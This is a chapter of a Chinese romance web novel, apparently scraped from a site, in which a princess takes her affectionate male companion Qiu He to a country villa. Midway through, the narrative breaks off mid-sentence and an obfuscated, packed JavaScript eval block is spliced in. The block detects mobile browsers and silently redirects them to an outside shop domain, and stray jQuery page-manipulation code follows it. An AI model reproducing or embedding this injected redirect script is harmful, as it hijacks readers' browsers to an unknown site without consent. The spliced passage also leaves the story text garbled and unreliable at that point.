秋鹤很快梳妆打扮好了,让人收拾了几件较为端庄的衣裳带上,就自己迈着开心的步伐前来主院找宋意承了。
宋意承这时正好站在窗户旁看到了,与他遥遥相望,对上他藏不住的欢喜,也笑了起来。
关上了窗,离开前又瞥了眼那只白瓷瓶,才出了屋门。
“那么快。”走到秋鹤身前,挽上他的手走出了院门,问了这么一句。
秋鹤看了眼两人牵在一起的手,眼里星光熠熠,开口如同吃了蜜一般甜,“怕殿下等着急了嘛!”
漂亮的美人,趁着梳妆打扮的功夫,也换了件衣衫。如今身着桃粉色的长衫,很是耀眼。
宋意承鲜少看到秋鹤将头发用发冠全都梳起来,还有些惊奇。
秋鹤晃了晃两人的手,依旧撑着等着宋意承回府时的那把浅粉色纸伞,嘴角始终噙着一抹笑,道:“我这般打扮不好看吗?”
他虽未回头,可就是感知到了公主的视线,也知晓了她的疑虑,于是耳尖红红的问了这么一句。
听他这般说,宋意承仔细的观察了一下他的脸,发现这人不仅穿了件骚气的衣裳,就连脸上的妆容也格外的粉嫩,眼角还点了颗红痣,很是骚气。
宋意承摇了摇头,带着笑说道:“好看,就是与你寻常的打扮不同。”
秋鹤突然停住了脚步,侧过身子,低下头颅,将脸送到宋意承眼前,好奇问道:“那殿下喜欢吗?”
宋意承与他一同停了下来,正要发问怎么了,就见到他一连串的动作,看到近在咫尺的那张漂亮至极的脸蛋,宋意承突然红了脸。
她不禁后退半步,目光全都被眼角点的那颗红痣吸引,舔了下唇瓣,道:“喜欢。”
说完,视线对上他的眼眸,伸出空着的那只手,抚上了他的眉眼,道:“好看。”
秋鹤满意极了。
他依旧保持着这个动作,微微闭上双眼,感受着殿下的手划过自己的脸蛋,直到触摸到唇瓣才停了下来,紧接着便听到一句话,“走吧。”他这才睁开双眼,此时有几缕红色血丝爬上了瞳眸。
面对宋意承坏笑的神情,他嘴角向下,委屈巴巴的,握着宋意承的手收紧,道:“殿下~您又欺负我!”
宋意承拍了拍他的脸,移开视线,看到满天日光,道:“好了,本宫不陪你闹了,再不赶紧走,今晚可就到不了清禾坞了。本宫说要带你踏春的事情可就没了哦!”
闻言,秋鹤连忙站直了身体,咳了两声,道:“那殿下我们快点走吧!”
等马车都走到了城门口,外面的侍卫正在给城门口的官兵查看公主府的令牌时,秋鹤这才平复下自己要同公主一起出去游玩的喜悦之情。
他离开了车窗旁,坐到了宋意承身旁,为她轻柔的捏着肩膀。
在他放下车窗帘子时宋意承就意识到了,不过是觉得他一时惊喜,也就随他去了,没想到他之后坐到了自己身旁,还为自己按着肩颈,那就更随他去了。
所以宋意承只是分了他一个眼神后,又将注意力回到手中的书册中来。
虽说此行的主要目的是为了带秋鹤出去散散心,可她身为公主,不能只沉溺于温柔乡,还是要多看点书的。
秋鹤不在意宋意承有没有理他,只要让自己陪在公主身边,哪怕为奴为婢他都无所谓。所以看到公主在翻阅着手里的书籍,他就过来为公主疏解一下疲劳。
就这样,车马行驶不快,赶在日落时分到达了清禾坞。
这座别院位于城郊,有两条河流经过,后半山有几片农田,佃户们此时正在劳作。
宋意承的到来,并没有打扰到别院里正在耕耘的农家们,只有主院里负责管理的主事和一些家丁们早早的到大门口等着。
所以当平遥公主府的马车出现在视线中时,一群人连忙下来恭迎。
听到外头听雪说:“殿下,清禾坞的张管事领着家丁求见。”
宋意承挑挑眉,秋鹤放下了按摩了一路的双手,两眼无辜的望着宋意承。宋意承将手里的书籍放到他手里,随后微微挑起车窗帘子,看到了听雪的身影,再往后看去,看到了一群身着布衣的男子。
她点点头,随后道:“不必见了,本宫此次只是带秋郎君来游玩两天罢了,不必兴师动众的。告诉他们,无需惊动旁人。”
听雪听了这话,点了下头,道:“奴婢明白了。”
随后,听雪离开,而马车又开始动了起来。
只是这回快到了,宋意承也就看不下去书了。
她从食几上摆着的小碟子里拿了块蜜饯,咬了一口,回头看到秋鹤一直追随着自己的目光,嫣然一笑,将咬了一口的蜜饯塞进他嘴里,问道:“如何?”
秋鹤见公主的手靠近自己的唇,自然的微启双唇,没想到的是公主竟然是在投食。
感受着嘴里那块被咬了一口的蜜饯,舌尖绕过那个缺口,再听到公主的问话,秋鹤此时脸又红了起来。
他张了张嘴,不舍得咽下嘴里的东西,含含糊糊的小声道:“公主喂的,自然好吃。”
宋意承哈哈大笑,又拿了一颗蜜饯,再次放到了他的唇边,只不过这回不是喂了进去,而是示意他咬一口。
秋鹤迷茫,不过照做便是。于是秋鹤小心的咬了一口宋意承手里的蜜饯,小心翼翼的不让自己黏糊糊的口水触碰到她的手。
之后,宋意承在秋鹤震惊的目光中将他咬了一口的蜜饯扔进了嘴里,如愿的看到原先只是脸红的秋鹤,如今连脖颈和耳朵也全都红了。
她笑着咀嚼着嘴里的蜜饯,慢慢吐出几个字:“本宫怎么觉得这颗蜜饯比刚才那颗更甜呢!”
纯粹的调戏,把人羞得不敢看她了。
好在这时车马停了下来,外头翠羽的声音响起,拯救了实在快爆炸的秋鹤一马。
头一回,秋鹤不等回禀宋意承,自己率先掀开了帘子,让绯红的妆花锦砸在了马车的帘框上啪啪作响。
宋意承好笑的扶着翠羽的手下了马车,看到站在一旁低着红得不行的脸的秋鹤,又伸出小拇指勾住了他的手,道:“怎么了,不喜欢吃本宫喂的蜜饯吗。”
秋鹤闻言,又想到了方才马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17667384|207308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车上的一幕,骨节分明的白嫩右手拽住了那根特意挑逗的小拇指,抬起头来,眼眶中蕴含着水汽,嗓音嗡嗡的,“殿下~”
听到这一声百转千回的“殿下”,宋意承只觉得尾骨都酥了,安抚的拍了拍他的手,道:“好好好,本宫不玩了。”
说着,一同走进了主屋。
这里的装饰,显然没有京城公主府里的贵重,可却带着些许朴素的滋味,倒也还不错。
跟着过来伺候的婢女们,收拾了一堆平日里宋意承常用的器具,包括被褥茶具一类的,全都带了过来。
所以等宋意承与秋鹤进到里屋时,桌上摆着的正是宋意承平日里用的白瓷,这时水正好烧开了,翠羽上前泡了一壶庐山云雾。
宋意承坐下,摆摆手,示意她们下去,这边不用人伺候。
秋鹤自觉的坐在宋意承的对面,拿起一只茶盏,非常赏心悦目的倒了杯茶水摆在她身前。
宋意承点了点桌面,没有说什么。
她在等着,等着听雪的到来。秋鹤见公主不说话,他也不说话,只是依旧红着脸,给自己也倒了杯庐山云雾,正小口小口的喝着。
很快,传来的敲门声,“殿下。”
听雪额间沁出了几滴热汗,满脸都是喜悦之色,道:“殿下,奴婢将您的吩咐给他们说了,现如今这清禾坞里的农户也不知您来了。不过管事还是命人烧了一桌子的菜,说都是些农家的家常菜。”
宋意承闻言,点点头,“嗯,那就好。”
听雪看了眼坐在公主对面的秋郎君,眸光闪了闪,最后又说了句:“殿下,听张管事说,这清禾坞此时河流里的鳜鱼正是肥厚,您与秋郎君可以在明日落日时分前去垂钓。”
宋意承挑眉,转向秋鹤,问道:“你可喜欢垂钓?”
秋鹤放下手里的茶盏,声音欢喜道:“只要和殿下一起,那就喜欢。”
真是个粘人的,宋意承摇了摇头。
“嗯,让人安排吧。”宋意承拿起茶盏,在它触碰到唇瓣时,又想到了什么,说:“对了,明日本宫应当也不会去了,你记得让人跟凝雪说一声。”
听雪点点头,接着又说道:“奴婢知道了。对了,那殿下此刻可要用膳?”
“传膳吧!”宋意承抬手,将茶水一饮而尽,随后放下茶盏起身,整理了下衣裳。
听雪转身离开,到了门口吩咐候在此处的婢女,待她转身回来时,秋鹤已经变了位置,坐到了宋意承的身旁。
此刻,秋鹤正把自己的脸往宋意承身前凑,听雪连忙回过身去,嘴里无声的嘟嚷着“狐狸精!”
门口几个婢女,见听雪的嘴型,辨别出来她的话,也忍不住低下头,无声的笑了,耳朵红红的。
听雪小心翼翼的把房门关上,长舒一口气,看到几个人在偷笑,她点了点她们,自己也忍不住偷笑起来。
随后,轻声吩咐道:“你们在这守着,一刻钟后殿下还没问晚膳的话,那就去后厨寻我,可明白?”
翠羽笑着把她往外推,“知道了,知道了!这里有我守着呢!“